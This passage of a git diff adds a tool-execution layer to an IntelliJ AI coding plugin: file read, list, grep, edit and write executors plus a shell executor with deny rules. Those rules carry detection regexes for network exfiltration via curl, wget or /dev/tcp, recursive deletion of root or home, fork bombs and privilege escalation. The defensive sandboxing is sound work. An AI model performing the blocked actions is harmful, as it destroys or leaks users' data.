put("description", "Starting line number (1-based). Default: 1") + }) + put("limit", buildJsonObject { + put("type", "integer") + put("description", "Number of lines to read. Max 1000. Default: 500") + }) + }) + put("required", buildJsonArray { + add(kotlinx.serialization.json.JsonPrimitive("path")) + }) + }, + requiredPermission = PermissionMode.READ_ONLY, + executor = readFileExecutor, + isConcurrencySafe = { true }, + isReadOnly = { true }, + isDestructive = { false } + ) + + fun listFilesSpec() = ToolSpec( + name = "list_files", + description = "List directory contents. Returns files and subdirectories. " + + "Use this to explore the project structure.", + inputSchema = buildJsonObject { + put("type", "object") + put("properties", buildJsonObject { + put("path", buildJsonObject { + put("type", "string") + put("description", "Directory path relative to project root. Default: '.'") + }) + }) + }, + requiredPermission = PermissionMode.READ_ONLY, + executor = listFilesExecutor, + isConcurrencySafe = { true }, + isReadOnly = { true }, + isDestructive = { false } + ) + + fun grepFilesSpec() = ToolSpec( + name = "grep_files", + description = "Search for text patterns in project files. " + + "Returns matching lines with file paths and line numbers.", + inputSchema = buildJsonObject { + put("type", "object") + put("properties", buildJsonObject { + put("pattern", buildJsonObject { + put("type", "string") + put("description", "Search pattern") + }) + put("path", buildJsonObject { + put("type", "string") + put("description", "Directory to search in. Default: '.'") + }) + }) + put("required", buildJsonArray { + add(kotlinx.serialization.json.JsonPrimitive("pattern")) + }) + }, + requiredPermission = PermissionMode.READ_ONLY, + executor = grepFilesExecutor, + isConcurrencySafe = { true }, + isReadOnly = { true }, + isDestructive = { false } + ) + + fun editFileSpec() = ToolSpec( + name = "edit_file", + description = "Replace text in a file. Use for precise, targeted edits. " + + "If multiple matches exist, provide line_number to disambiguate. " + + "The change will be reviewed by the user before applying.", + inputSchema = buildJsonObject { + put("type", "object") + put("properties", buildJsonObject { + put("path", buildJsonObject { + put("type", "string") + put("description", "File path relative to project root") + }) + put("search", buildJsonObject { + put("type", "string") + put("description", "Text to search for") + }) + put("replace", buildJsonObject { + put("type", "string") + put("description", "Text to replace with") + }) + put("replaceAll", buildJsonObject { + put("type", "boolean") + put("description", "Replace all occurrences. Default: false") + }) + put("line_number", buildJsonObject { + put("type", "integer") + put("description", "Target line number (1-based) to disambiguate multiple matches") + }) + }) + put("required", buildJsonArray { + add(kotlinx.serialization.json.JsonPrimitive("path")) + add(kotlinx.serialization.json.JsonPrimitive("search")) + add(kotlinx.serialization.json.JsonPrimitive("replace")) + }) + }, + requiredPermission = PermissionMode.WORKSPACE_WRITE, + executor = editFileExecutor, + isConcurrencySafe = { false }, + isReadOnly = { false }, + isDestructive = { false } + ) + + fun writeFileSpec() = ToolSpec( + name = "write_file", + description = "Create or overwrite a file with complete content. " + + "Use for creating new files or when changes are too large for edit_file. " + + "The change will be reviewed by the user before applying.", + inputSchema = buildJsonObject { + put("type", "object") + put("properties", buildJsonObject { + put("path", buildJsonObject { + put("type", "string") + put("description", "File path relative to project root") + }) + put("content", buildJsonObject { + put("type", "string") + put("description", "Complete file content") + }) + }) + put("required", buildJsonArray { + add(kotlinx.serialization.json.JsonPrimitive("path")) + add(kotlinx.serialization.json.JsonPrimitive("content")) + }) + }, + requiredPermission = PermissionMode.WORKSPACE_WRITE, + executor = writeFileExecutor, + isConcurrencySafe = { false }, + isReadOnly = { false }, + isDestructive = { false } + ) +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/executors/BashExecutor.kt b/src/main/kotlin/com/github/codeplangui/execution/executors/BashExecutor.kt new file mode 100644 index 0000000..7bb7baf --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/executors/BashExecutor.kt @@ -0,0 +1,122 @@ +package com.github.codeplangui.execution.executors + +import com.github.codeplangui.execution.* +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.withContext +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.contentOrNull +import kotlinx.serialization.json.jsonPrimitive + +/** + * Wraps the existing CommandExecutionService for run_command / run_powershell. + * Adds dynamic permission classification and deny_rules checking. + */ +class BashExecutor : ToolExecutor { + + override suspend fun execute(input: JsonObject, context: ToolContext): ToolResult { + val command = input["command"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: command") + + val description = input["description"]?.jsonPrimitive?.contentOrNull ?: "" + + // deny_rules check + val denied = checkDenyRules(command) + if (denied != null) return ToolResult(ok = false, output = denied) + + // Workspace path check + val basePath = context.cwd + if (CommandExecutionService.hasPathsOutsideWorkspace(command, basePath)) { + return ToolResult(ok = false, output = "Command accesses paths outside the project") + } + + return withContext(Dispatchers.IO) { + val service = CommandExecutionService.getInstance(context.project) + val result = service.executeAsync(command, context.settings.commandTimeoutSeconds) + result.toToolResult() + } + } + + /** Dynamic permission classification based on base command name. */ + fun classifyPermission(command: String): PermissionMode { + val base = CommandExecutionService.extractBaseCommand(command).lowercase() + return when { + base in READ_ONLY_COMMANDS -> PermissionMode.READ_ONLY + base in DEVELOPMENT_COMMANDS -> PermissionMode.WORKSPACE_WRITE + else -> PermissionMode.DANGER_FULL_ACCESS + } + } + + /** Whether this command is safe to run concurrently with other tools. */ + fun isConcurrencySafe(command: String): Boolean { + return classifyPermission(command) == PermissionMode.READ_ONLY + } + + fun isReadOnly(command: String): Boolean = + classifyPermission(command) == PermissionMode.READ_ONLY + + fun isDestructive(command: String): Boolean { + val cmd = command.lowercase() + return DESTRUCTIVE_PATTERNS.any { it.containsMatchIn(cmd) } + } + + private fun checkDenyRules(command: String): String? { + // Path traversal + if (command.contains("../") || command.contains("..\\")) { + return "Path traversal detected in command" + } + // Dangerous delete + if (DANGEROUS_DELETE_PATTERN.containsMatchIn(command)) { + return "Dangerous delete command detected" + } + // Network exfiltration (basic pattern matching) + if (NETWORK_EXFIL_PATTERN.containsMatchIn(command)) { + return "Potential network exfiltration detected" + } + // Fork bomb + if (FORK_BOMB_PATTERN.containsMatchIn(command)) { + return "Fork bomb pattern detected" + } + // Privilege escalation + if (PRIVILEGE_ESCALATION_PATTERN.containsMatchIn(command)) { + return "Privilege escalation detected" + } + return null + } + + companion object { + private val READ_ONLY_COMMANDS = setOf( + "pwd", "ls", "find", "rg", "grep", "cat", "head", "tail", + "wc", "echo", "df", "du", "uname", "whoami", "type", "which", + "get-childitem", "get-content", "select-string", "get-location" + ) + + private val DEVELOPMENT_COMMANDS = setOf( + "git", "npm", "node", "python3", "python", "pytest", "bash", "sh", + "bun", "cargo", "gradle", "mvn", "yarn", "pnpm", "go", "rustc", + "javac", "java", "dotnet", "make", "cmake" + ) + + private val DESTRUCTIVE_PATTERNS = listOf( + Regex("""rm\s+(-\w*\s*)*(-r|--recursive).*\s+/""", RegexOption.IGNORE_CASE), + Regex("""rm\s+(-\w*\s*)*(-r|--recursive).*\s+~""", RegexOption.IGNORE_CASE) + ) + + private val DANGEROUS_DELETE_PATTERN = + Regex("""rm\s+(-\w*\s*)*(-r|--recursive).*\s+(/|~)""", RegexOption.IGNORE_CASE) + + private val NETWORK_EXFIL_PATTERN = Regex( + """(\|\s*(curl|wget)\s)|(>\s*/dev/tcp/)""", + RegexOption.IGNORE_CASE + ) + + private val FORK_BOMB_PATTERN = Regex( + """:\(\)\{.*:\|:&\}|fork\s*bomb""", + RegexOption.IGNORE_CASE + ) + + private val PRIVILEGE_ESCALATION_PATTERN = Regex( + """sudo\s+|chmod\s+[0-7]*77|chown\s+""", + RegexOption.IGNORE_CASE + ) + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/executors/EditFileExecutor.kt b/src/main/kotlin/com/github/codeplangui/execution/executors/EditFileExecutor.kt new file mode 100644 index 0000000..827da19 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/executors/EditFileExecutor.kt @@ -0,0 +1,156 @@ +package com.github.codeplangui.execution.executors + +import com.github.codeplangui.execution.* +import com.intellij.openapi.application.ApplicationManager +import com.intellij.openapi.command.WriteCommandAction +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.LocalFileSystem +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.withContext +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.booleanOrNull +import kotlinx.serialization.json.contentOrNull +import kotlinx.serialization.json.intOrNull +import kotlinx.serialization.json.jsonPrimitive +import java.io.File + +/** + * Precise text replacement in files. + * Shows IDE-native DiffDialog for review (when not trusted). + */ +class EditFileExecutor( + private val fileChangeReview: FileChangeReview +) : ToolExecutor { + + override suspend fun execute(input: JsonObject, context: ToolContext): ToolResult { + val path = input["path"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: path") + val search = input["search"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: search") + val replace = input["replace"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: replace") + val replaceAll = input["replaceAll"]?.jsonPrimitive?.booleanOrNull ?: false + val lineNumber = input["line_number"]?.jsonPrimitive?.intOrNull + + val resolvedPath = ReadFileExecutor.resolveToolPath(path, context.cwd) + ?: return ToolResult(ok = false, output = "Path resolves outside workspace: $path") + + return withContext(Dispatchers.IO) { + val file = File(resolvedPath) + if (!file.exists()) { + return@withContext ToolResult(ok = false, output = "File not found: $path") + } + + val originalContent = file.readText() + if (!originalContent.contains(search)) { + return@withContext ToolResult(ok = false, output = "Search text not found in $path") + } + + // Count matches and find line numbers + val matchLines = originalContent.lines().mapIndexedNotNull { idx, line -> + if (line.contains(search)) idx + 1 else null + } + val matchCount = matchLines.size + + if (!replaceAll && matchCount > 1) { + if (lineNumber == null) { + // Multiple matches without line_number — return match info for AI to disambiguate + return@withContext ToolResult( + ok = false, + output = "Found $matchCount matches for the search text in $path. " + + "Matching lines: ${matchLines.joinToString(", ")}. " + + "Provide 'line_number' parameter to specify which match to replace." + ) + } + // Use line_number to target a specific match + val targetLine = lineNumber + if (targetLine !in matchLines) { + return@withContext ToolResult( + ok = false, + output = "No match found at line $targetLine. Matching lines: ${matchLines.joinToString(", ")}" + ) + } + } + + // Generate new content + val newContent = if (replaceAll) { + // Use split/join instead of regex to avoid special char issues + originalContent.split(search).joinToString(replace) + } else if (lineNumber != null && matchCount > 1) { + // Replace at specific line + replaceAtLine(originalContent, search, replace, lineNumber) + } else { + // Single match or first occurrence + originalContent.replaceFirst(search, replace) + } + + if (newContent == originalContent) { + return@withContext ToolResult(ok = false, output = "No changes made (replacement text same as search text)") + } + + // Review via FileChangeReview (DiffDialog or trust mode) + val approved = fileChangeReview.reviewFileChange( + project = context.project, + path = path, + oldContent = originalContent, + newContent = newContent, + settings = context.settings + ) + if (!approved) { + return@withContext ToolResult(ok = false, output = "User rejected the change") + } + + // Write the file + writeFileContent(context.project, resolvedPath, newContent) + + // Compute diff stats + val oldLines = originalContent.lines().size + val newLines = newContent.lines().size + val diffLines = Math.abs(newLines - oldLines) + val changeType = if (newLines > oldLines) "+$diffLines" else "-$diffLines" + + // Run Post-Edit pipeline + val postEditResult = runPostEdit(context.project, resolvedPath) + + val output = buildString { + append("File edited successfully: $path ($changeType lines)") + if (postEditResult != null) { + append("\n\n") + append(postEditResult) + } + } + + ToolResult(ok = true, output = output) + } + } + + private fun replaceAtLine(content: String, search: String, replace: String, targetLine: Int): String { + val lines = content.lines().toMutableList() + if (targetLine < 1 || targetLine > lines.size) return content + val idx = targetLine - 1 + if (lines[idx].contains(search)) { + lines[idx] = lines[idx].replaceFirst(search, replace) + } + return lines.joinToString("\n") + } + + private fun writeFileContent(project: Project, path: String, content: String) { + ApplicationManager.getApplication().invokeAndWait { + WriteCommandAction.runWriteCommandAction(project) { + val file = File(path) + file.writeText(content) + val vf = LocalFileSystem.getInstance().refreshAndFindFileByIoFile(file) + vf?.refresh(false, false) + } + } + } + + private fun runPostEdit(project: Project, path: String): String? { + return try { + val vf = LocalFileSystem.getInstance().findFileByIoFile(File(path)) ?: return null + PostEditPipeline(project).runAfterWriteSync(vf) + } catch (_: Exception) { + null + } + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/executors/GrepFilesExecutor.kt b/src/main/kotlin/com/github/codeplangui/execution/executors/GrepFilesExecutor.kt new file mode 100644 index 0000000..686ff90 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/executors/GrepFilesExecutor.kt @@ -0,0 +1,92 @@ +package com.github.codeplangui.execution.executors + +import com.github.codeplangui.execution.CommandExecutionService +import com.github.codeplangui.execution.ExecutionResult +import com.github.codeplangui.execution.ToolContext +import com.github.codeplangui.execution.ToolExecutor +import com.github.codeplangui.execution.ToolResult +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.withContext +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.contentOrNull +import kotlinx.serialization.json.jsonPrimitive +import java.io.File + +/** + * Text search using IntelliJ FindInProjectUtil (preferred) or external rg/grep (fallback). + * Always READ_ONLY, always concurrency-safe. + * + * First version: uses external rg/grep directly. IntelliJ FindInProjectUtil + * integration requires complex setup and will be added in a future iteration. + */ +class GrepFilesExecutor : ToolExecutor { + + override suspend fun execute(input: JsonObject, context: ToolContext): ToolResult { + val pattern = input["pattern"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: pattern") + + val path = input["path"]?.jsonPrimitive?.contentOrNull ?: "." + val resolvedPath = ReadFileExecutor.resolveToolPath(path, context.cwd) + ?: return ToolResult(ok = false, output = "Path resolves outside workspace: $path") + + return searchWithExternalTool(pattern, resolvedPath, context) + } + + private suspend fun searchWithExternalTool( + pattern: String, + directoryPath: String, + context: ToolContext + ): ToolResult { + return withContext(Dispatchers.IO) { + val escapedPattern = pattern.replace("'", "'\\''") + val excludeDirs = ".git,.idea,build,.gradle,node_modules,.intellijPlatform,.claude" + // Try rg first, then grep + val command = if (isRgAvailable()) { + "rg -n --no-heading --max-count 50 --glob '!{$excludeDirs}' -- '$escapedPattern' '$directoryPath'" + } else { + "grep -rn --max-count=50 --exclude-dir={$excludeDirs} -- '$escapedPattern' '$directoryPath'" + } + + val service = CommandExecutionService.getInstance(context.project) + val result = service.executeAsync(command, context.settings.commandTimeoutSeconds) + + when (result) { + is ExecutionResult.Success -> { + val output = result.stdout.trim() + if (output.isEmpty()) { + ToolResult(ok = true, output = "(no matches)") + } else { + val lines = output.lines().take(50) + ToolResult(ok = true, output = lines.joinToString("\n")) + } + } + is ExecutionResult.Failed -> { + // grep exits with 1 when no matches + if (result.exitCode == 1) { + ToolResult(ok = true, output = "(no matches)") + } else { + ToolResult(ok = false, output = result.stderr.ifEmpty { "Search failed" }) + } + } + else -> result.toToolResult() + } + } + } + + companion object { + private var rgChecked: Boolean? = null + private var rgAvailable: Boolean = false + + private fun isRgAvailable(): Boolean { + if (rgChecked != null) return rgAvailable + rgAvailable = try { + val process = ProcessBuilder("rg", "--version").start() + process.waitFor() == 0 + } catch (_: Exception) { + false + } + rgChecked = true + return rgAvailable + } + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/executors/ListFilesExecutor.kt b/src/main/kotlin/com/github/codeplangui/execution/executors/ListFilesExecutor.kt new file mode 100644 index 0000000..036d57c --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/executors/ListFilesExecutor.kt @@ -0,0 +1,54 @@ +package com.github.codeplangui.execution.executors + +import com.github.codeplangui.execution.ToolContext +import com.github.codeplangui.execution.ToolExecutor +import com.github.codeplangui.execution.ToolResult +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.withContext +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.contentOrNull +import kotlinx.serialization.json.jsonPrimitive +import java.io.File + +/** + * Lists directory contents. Max 200 entries. + * Always READ_ONLY, always concurrency-safe. + */ +class ListFilesExecutor : ToolExecutor { + + override suspend fun execute(input: JsonObject, context: ToolContext): ToolResult { + val path = input["path"]?.jsonPrimitive?.contentOrNull ?: "." + val resolvedPath = ReadFileExecutor.resolveToolPath(path, context.cwd) + ?: return ToolResult(ok = false, output = "Path resolves outside workspace: $path") + + return withContext(Dispatchers.IO) { + val dir = File(resolvedPath) + if (!dir.exists()) { + return@withContext ToolResult(ok = false, output = "Directory not found: $path") + } + if (!dir.isDirectory) { + return@withContext ToolResult(ok = false, output = "Not a directory: $path") + } + + val entries = dir.listFiles() + ?.sortedWith(compareBy({ !it.isDirectory }, { it.name })) + ?.take(200) + ?: emptyList() + + if (entries.isEmpty()) { + return@withContext ToolResult(ok = true, output = "(empty directory)") + } + + val output = entries.joinToString("\n") { entry -> + val kind = if (entry.isDirectory) "dir" else "file" + "$kind ${entry.name}" + } + + val suffix = if ((dir.listFiles()?.size ?: 0) > 200) { + "\n\n(showing first 200 entries)" + } else "" + + ToolResult(ok = true, output = output + suffix) + } + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/executors/ReadFileExecutor.kt b/src/main/kotlin/com/github/codeplangui/execution/executors/ReadFileExecutor.kt new file mode 100644 index 0000000..f1b33b4 --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/executors/ReadFileExecutor.kt @@ -0,0 +1,86 @@ +package com.github.codeplangui.execution.executors + +import com.github.codeplangui.execution.ToolContext +import com.github.codeplangui.execution.ToolExecutor +import com.github.codeplangui.execution.ToolResult +import com.intellij.openapi.application.ReadAction +import com.intellij.openapi.vfs.VirtualFileManager +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.withContext +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.contentOrNull +import kotlinx.serialization.json.intOrNull +import kotlinx.serialization.json.jsonPrimitive +import java.io.File + +/** + * Reads file content by line range using IntelliJ VFS. + * Always returns READ_ONLY permission; always concurrency-safe. + */ +class ReadFileExecutor : ToolExecutor { + + override suspend fun execute(input: JsonObject, context: ToolContext): ToolResult { + val path = input["path"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: path") + + val lineNumber = input["line_number"]?.jsonPrimitive?.intOrNull ?: 1 + val limit = input["limit"]?.jsonPrimitive?.intOrNull ?: 500 + + // Validate range + if (lineNumber < 1) return ToolResult(ok = false, output = "line_number must be >= 1") + if (limit < 1 || limit > 1000) return ToolResult(ok = false, output = "limit must be between 1 and 1000") + + val resolvedPath = resolveToolPath(path, context.cwd) + ?: return ToolResult(ok = false, output = "Path resolves outside workspace: $path") + + return withContext(Dispatchers.IO) { + val file = File(resolvedPath) + if (!file.exists()) { + return@withContext ToolResult(ok = false, output = "File not found: $path") + } + if (!file.isFile) { + return@withContext ToolResult(ok = false, output = "Not a file: $path") + } + + // Binary check + val headBytes = file.inputStream().buffered().use { it.readNBytes(8192) } + if (headBytes.any { it == 0.toByte() }) { + return@withContext ToolResult( + ok = false, + output = "Binary file, cannot display: $path (${file.length()} bytes)" + ) + } + + val allLines = file.readLines() + val totalLines = allLines.size + + val startIdx = (lineNumber - 1).coerceIn(0, totalLines) + val endIdx = (startIdx + limit).coerceAtMost(totalLines) + val selectedLines = allLines.subList(startIdx, endIdx) + val truncated = endIdx < totalLines + + val sb = StringBuilder() + sb.appendLine("FILE: $path") + sb.appendLine("LINES: ${startIdx + 1}-${endIdx}") + sb.appendLine("TOTAL_LINES: $totalLines") + sb.appendLine("TRUNCATED: ${if (truncated) "yes" else "no"}") + sb.appendLine() + + val maxLineNumWidth = (endIdx).toString().length + for ((i, line) in selectedLines.withIndex()) { + val lineNum = (startIdx + i + 1).toString().padStart(maxLineNumWidth) + sb.appendLine("$lineNum→$line") + } + + ToolResult(ok = true, output = sb.toString()) + } + } + + companion object { + fun resolveToolPath(path: String, cwd: String): String? { + val resolved = File(cwd, path).canonicalPath + val canonicalCwd = File(cwd).canonicalPath + return if (resolved.startsWith(canonicalCwd)) resolved else null + } + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/executors/WriteFileExecutor.kt b/src/main/kotlin/com/github/codeplangui/execution/executors/WriteFileExecutor.kt new file mode 100644 index 0000000..3951efb --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/executors/WriteFileExecutor.kt @@ -0,0 +1,115 @@ +package com.github.codeplangui.execution.executors + +import com.github.codeplangui.execution.* +import com.intellij.openapi.application.ApplicationManager +import com.intellij.openapi.command.WriteCommandAction +import com.intellij.openapi.project.Project +import com.intellij.openapi.vfs.LocalFileSystem +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.withContext +import kotlinx.serialization.json.JsonObject +import kotlinx.serialization.json.contentOrNull +import kotlinx.serialization.json.jsonPrimitive +import java.io.File + +/** + * Whole-file write (create or overwrite). + * Shows IDE-native DiffDialog for existing files, ConfirmDialog for new files. + */ +class WriteFileExecutor( + private val fileChangeReview: FileChangeReview +) : ToolExecutor { + + override suspend fun execute(input: JsonObject, context: ToolContext): ToolResult { + val path = input["path"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: path") + val content = input["content"]?.jsonPrimitive?.contentOrNull + ?: return ToolResult(ok = false, output = "Missing required parameter: content") + + val resolvedPath = ReadFileExecutor.resolveToolPath(path, context.cwd) + ?: return ToolResult(ok = false, output = "Path resolves outside workspace: $path") + + return withContext(Dispatchers.IO) { + val file = File(resolvedPath) + val isNewFile = !file.exists() + + if (isNewFile) { + // New file: confirm via IDE dialog + val confirmed = fileChangeReview.reviewNewFile( + project = context.project, + path = path, + content = content, + settings = context.settings + ) + if (!confirmed) { + return@withContext ToolResult(ok = false, output = "User rejected file creation") + } + + // Ensure parent dirs exist + file.parentFile?.mkdirs() + writeFileContent(context.project, resolvedPath, content) + } else { + // Existing file: diff review + val originalContent = file.readText() + if (originalContent == content) { + return@withContext ToolResult(ok = true, output = "File unchanged: $path") + } + + val approved = fileChangeReview.reviewFileChange( + project = context.project, + path = path, + oldContent = originalContent, + newContent = content, + settings = context.settings + ) + if (!approved) { + return@withContext ToolResult(ok = false, output = "User rejected the change") + } + + writeFileContent(context.project, resolvedPath, content) + } + + // Post-Edit pipeline + val postEditResult = runPostEdit(context.project, resolvedPath) + + val verb = if (isNewFile) "created" else "written" + val lineCount = content.lines().size + val sizeBytes = content.toByteArray().size + val output = buildString { + append("File $verb: $path ($lineCount lines, ${formatSize(sizeBytes)})") + if (postEditResult != null) { + append("\n\n") + append(postEditResult) + } + } + + ToolResult(ok = true, output = output) + } + } + + private fun writeFileContent(project: Project, path: String, content: String) { + ApplicationManager.getApplication().invokeAndWait { + WriteCommandAction.runWriteCommandAction(project) { + val file = File(path) + file.writeText(content) + val vf = LocalFileSystem.getInstance().refreshAndFindFileByIoFile(file) + vf?.refresh(false, false) + } + } + } + + private fun runPostEdit(project: Project, path: String): String? { + return try { + val vf = LocalFileSystem.getInstance().findFileByIoFile(File(path)) ?: return null + PostEditPipeline(project).runAfterWriteSync(vf) + } catch (_: Exception) { + null + } + } + + private fun formatSize(bytes: Int): String = when { + bytes < 1024 -> "$bytes B" + bytes < 1024 * 1024 -> "${bytes / 1024} KB" + else -> "${bytes / (1024 * 1024)} MB" + } +} diff --git a/src/main/kotlin/com/github/codeplangui/execution/hooks/ToolExecutionLogger.kt b/src/main/kotlin/com/github/codeplangui/execution/hooks/ToolExecutionLogger.kt new file mode 100644 index 0000000..bfcdbce --- /dev/null +++ b/src/main/kotlin/com/github/codeplangui/execution/hooks/ToolExecutionLogger.kt @@ -0,0 +1,25 @@ +package com.github.codeplangui.execution.hooks + +import com.github.codeplangui.execution.ToolHook +import com.github.codeplangui.execution.ToolResult +import com.intellij.openapi.diagnostic.Logger +import kotlinx.serialization.json.JsonObject + +/** + * Default Pre/Post Hook that logs tool call execution to IDE logs. + */ +class ToolExecutionLogger : ToolHook { + + private val logger = Logger.getInstance(ToolExecutionLogger::class.java) + + override suspend fun beforeExecute(toolName: String, input: JsonObject): ToolResult? { + logger.info("[ToolCall] Executing: $toolName | input size: ${input.toString().length}") + return null // Continue execution + } + + override suspend fun afterExecute(toolName: String, input: JsonObject, result: ToolResult) { + val status = if (result.ok) "OK" else "FAILED" + val outputPreview = result.output.take(200).replace("\n", " ") + logger.info("[ToolCall] Completed: $toolName | $status | output: $outputPreview") + } +} diff --git a/src/main/kotlin/com/github/codeplangui/settings/PluginSettings.kt b/src/main/kotlin/com/github/codeplangui/settings/PluginSettings.kt index 93394a2..ef5c6b5 100644 --- a/src/main/kotlin/com/github/codeplangui/settings/PluginSettings.kt +++ b/src/main/kotlin/com/github/codeplangui/settings/PluginSettings.kt @@ -33,7 +33,12 @@ data class SettingsState( var commandExecutionEnabled: Boolean = true, var commandWhitelist: MutableList = ShellPlatform.current().defaultWhitelist().toMutableList(), var commandTimeoutSeconds: Int = 30, - var sessionTtlDays: Int = 30 + var sessionTtlDays: Int = 30, + // Unified tool system settings + var unifiedToolsEnabled: Boolean = true, + var permissionMode: String = "WORKSPACE_WRITE", + var allowSessionFileTrust: Boolean = true, + var diffSummaryThreshold: Int = 100 ) @State( diff --git a/src/main/resources/webview/index.html b/src/main/resources/webview/index.html index 544c6aa..9a8910b 100644 --- a/src/main/resources/webview/index.html +++ b/src/main/resources/webview/index.html @@ -4,7 +4,7 @@ CodePlanGUI - +`}strong({tokens:e}){return`${this.parser.parseInline(e)}`}em({tokens:e}){return`${this.parser.parseInline(e)}`}codespan({text:e}){return`${Wa(e,!0)}`}br(e){return"
"}del({tokens:e}){return`${this.parser.parseInline(e)}`}link({href:e,title:t,tokens:n}){const a=this.parser.parseInline(n),r=WA(e);if(r===null)return a;e=r;let i='",i}image({href:e,title:t,text:n,tokens:a}){a&&(n=this.parser.parseInline(a,this.parser.textRenderer));const r=WA(e);if(r===null)return Wa(n);e=r;let i=`${n}{const o=r[i].flat(1/0);n=n.concat(this.walkTokens(o,t))}):r.tokens&&(n=n.concat(this.walkTokens(r.tokens,t)))}}return n}use(...e){const t=this.defaults.extensions||{renderers:{},childTokens:{}};return e.forEach(n=>{const a={...n};if(a.async=this.defaults.async||a.async||!1,n.extensions&&(n.extensions.forEach(r=>{if(!r.name)throw new Error("extension name required");if("renderer"in r){const i=t.renderers[r.name];i?t.renderers[r.name]=function(...o){let s=r.renderer.apply(this,o);return s===!1&&(s=i.apply(this,o)),s}:t.renderers[r.name]=r.renderer}if("tokenizer"in r){if(!r.level||r.level!=="block"&&r.level!=="inline")throw new Error("extension level must be 'block' or 'inline'");const i=t[r.level];i?i.unshift(r.tokenizer):t[r.level]=[r.tokenizer],r.start&&(r.level==="block"?t.startBlock?t.startBlock.push(r.start):t.startBlock=[r.start]:r.level==="inline"&&(t.startInline?t.startInline.push(r.start):t.startInline=[r.start]))}"childTokens"in r&&r.childTokens&&(t.childTokens[r.name]=r.childTokens)}),a.extensions=t),n.renderer){const r=this.defaults.renderer||new Id(this.defaults);for(const i in n.renderer){if(!(i in r))throw new Error(`renderer '${i}' does not exist`);if(["options","parser"].includes(i))continue;const o=i,s=n.renderer[o],l=r[o];r[o]=(...c)=>{let u=s.apply(r,c);return u===!1&&(u=l.apply(r,c)),u||""}}a.renderer=r}if(n.tokenizer){const r=this.defaults.tokenizer||new Ad(this.defaults);for(const i in n.tokenizer){if(!(i in r))throw new Error(`tokenizer '${i}' does not exist`);if(["options","rules","lexer"].includes(i))continue;const o=i,s=n.tokenizer[o],l=r[o];r[o]=(...c)=>{let u=s.apply(r,c);return u===!1&&(u=l.apply(r,c)),u}}a.tokenizer=r}if(n.hooks){const r=this.defaults.hooks||new Uu;for(const i in n.hooks){if(!(i in r))throw new Error(`hook '${i}' does not exist`);if(["options","block"].includes(i))continue;const o=i,s=n.hooks[o],l=r[o];Uu.passThroughHooks.has(i)?r[o]=c=>{if(this.defaults.async)return Promise.resolve(s.call(r,c)).then(d=>l.call(r,d));const u=s.call(r,c);return l.call(r,u)}:r[o]=(...c)=>{let u=s.apply(r,c);return u===!1&&(u=l.apply(r,c)),u}}a.hooks=r}if(n.walkTokens){const r=this.defaults.walkTokens,i=n.walkTokens;a.walkTokens=function(o){let s=[];return s.push(i.call(this,o)),r&&(s=s.concat(r.call(this,o))),s}}this.defaults={...this.defaults,...a}}),this}setOptions(e){return this.defaults={...this.defaults,...e},this}lexer(e,t){return br.lex(e,t??this.defaults)}parser(e,t){return vr.parse(e,t??this.defaults)}parseMarkdown(e){return(n,a)=>{const r={...a},i={...this.defaults,...r},o=this.onError(!!i.silent,!!i.async);if(this.defaults.async===!0&&r.async===!1)return o(new Error("marked(): The async option was set to true by an extension. Remove async: false from the parse options object to return a Promise."));if(typeof n>"u"||n===null)return o(new Error("marked(): input parameter is undefined or null"));if(typeof n!="string")return o(new Error("marked(): input parameter is of type "+Object.prototype.toString.call(n)+", string expected"));i.hooks&&(i.hooks.options=i,i.hooks.block=e);const s=i.hooks?i.hooks.provideLexer():e?br.lex:br.lexInline,l=i.hooks?i.hooks.provideParser():e?vr.parse:vr.parseInline;if(i.async)return Promise.resolve(i.hooks?i.hooks.preprocess(n):n).then(c=>s(c,i)).then(c=>i.hooks?i.hooks.processAllTokens(c):c).then(c=>i.walkTokens?Promise.all(this.walkTokens(c,i.walkTokens)).then(()=>c):c).then(c=>l(c,i)).then(c=>i.hooks?i.hooks.postprocess(c):c).catch(o);try{i.hooks&&(n=i.hooks.preprocess(n));let c=s(n,i);i.hooks&&(c=i.hooks.processAllTokens(c)),i.walkTokens&&this.walkTokens(c,i.walkTokens);let u=l(c,i);return i.hooks&&(u=i.hooks.postprocess(u)),u}catch(c){return o(c)}}}onError(e,t){return n=>{if(n.message+=` +Please report this to https://github.com/markedjs/marked.`,e){const a="

An error occurred:

"+Wa(n.message+"",!0)+"
